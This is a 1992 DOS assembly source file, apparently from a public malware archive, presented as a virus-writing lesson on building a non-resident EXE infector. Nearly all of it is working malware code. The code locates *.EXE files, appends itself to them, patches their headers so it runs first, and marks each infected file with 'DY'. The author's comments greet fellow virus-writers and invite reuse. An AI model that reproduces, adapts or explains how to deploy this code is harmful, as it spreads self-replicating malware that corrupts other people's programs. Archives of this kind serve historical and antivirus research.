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https://github.com/vxunderground/MalwareSourceCode.git
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160 lines
3.1 KiB
NASM
160 lines
3.1 KiB
NASM
;
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; Virus Lession #2 'How to make a non-resident EXE infector'
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;
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; (c) 1992 Tormentor // Demoralized Youth
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;
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; Well, I had not time to comment this code as much as I wanted to,
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; but here you are.
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; What can be hard to understand is the .EXE header changes, but if
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; you look at the description on the header (ex: Norton guide Tech. Ref)
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; you'll understand...
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; Anyway, feel free to use this example and if you have any questions
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; or anything call my board: Swedish Virus Labratory +46-3191-9393
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;
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; Greetings to all virus-writers!
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;
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; /Tormentor
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;
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.model tiny
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.radix 16
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.code
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Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus.
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org 100
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Virus_Start: call where_we_are
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where_we_are: pop si
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sub si,where_we_are-Virus_Start
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mov ax,es
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add ax,10
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add ax,cs:[si+Exe_header-Virus_Start+16]
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push ax
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push cs:[si+Exe_header-Virus_Start+14]
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push ds
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push cs
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pop ds
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mov ah,1a
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mov dx,offset Own_dta-Virus_Start
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add dx,si
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int 21
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mov ah,4e ; We start to look for a *.EXE file
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look4victim: mov dx,offset file_match-Virus_Start
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add dx,si
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int 21
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jnc cont2
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jmp no_victim_found ; If no *.EXE files was found.
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cont2: mov ax,3d02
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mov dx,Own_dta-Virus_Start+1e
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add dx,si
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int 21
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jnc cont1
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jmp cant_open_file
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cont1: xchg ax,bx
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mov ah,3f
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mov cx,1c
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mov dx,offset Exe_header-Virus_Start
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add dx,si
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int 21
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jc read_error
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cmp byte ptr ds:[si+Exe_header-Virus_Start],'M'
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jnz no_exe ; !!! Some EXEs starts with ZM !!!
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cmp word ptr ds:[si+Exe_header-Virus_Start+12],'DY'
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jz infected
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mov ax,4202 ; Go EOF
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xor cx,cx
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xor dx,dx
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int 21
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push dx
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push ax
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mov ah,40 ; Write virus to EOF.
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mov cx,Virus_Lenght
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mov dx,si
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int 21
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mov ax,4202 ; Get NEW filelenght.
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xor cx,cx
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xor dx,dx
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int 21
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mov cx,200
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div cx
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inc ax
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mov word ptr ds:[Exe_header-Virus_Start+2+si],dx
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mov word ptr ds:[Exe_header-Virus_Start+4+si],ax
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pop ax
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pop dx
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mov cx,10
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div cx
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sub ax,word ptr ds:[Exe_header-Virus_Start+8+si]
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mov word ptr ds:[Exe_header-Virus_Start+16+si],ax
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mov word ptr ds:[Exe_header-Virus_Start+14+si],dx
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mov word ptr ds:[Exe_header-Virus_Start+12+si],'DY'
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mov ax,4200 ; Position file-pointer to begin of file
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xor cx,cx
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xor dx,dx
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int 21
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mov ah,40 ; Write header
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mov cx,1c
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mov dx,offset Exe_header-Virus_Start
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add dx,si
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int 21
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jc write_error
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no_exe:
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infected:
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mov ah,3e
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int 21
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Sick_or_EXE: mov ah,4f
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jmp look4victim
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write_error: ; Here you can test whats went wrong.
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read_error: ; This is just for debugging purpose.
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cant_open_file: ; These entries are equal to eachother
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no_victim_found: ; but could be changed if you need to test something.
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pop ds
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retf
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file_match db '*.EXE',0 ; Pattern to search for.
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; Don't forget to end with 0 !
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Exe_header db 16 DUP(0)
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dw 0fff0 ; Adjustment just for this COM-file.
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db 4 DUP(0)
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notes db '(c) 1992 Tormentor / Demoralized Youth ',0a,0d
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db 'Rather first in hell, than second in heaven.'
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Own_Dta db 02bh DUP(0)
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Virus_End EQU $
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end Virus_Start
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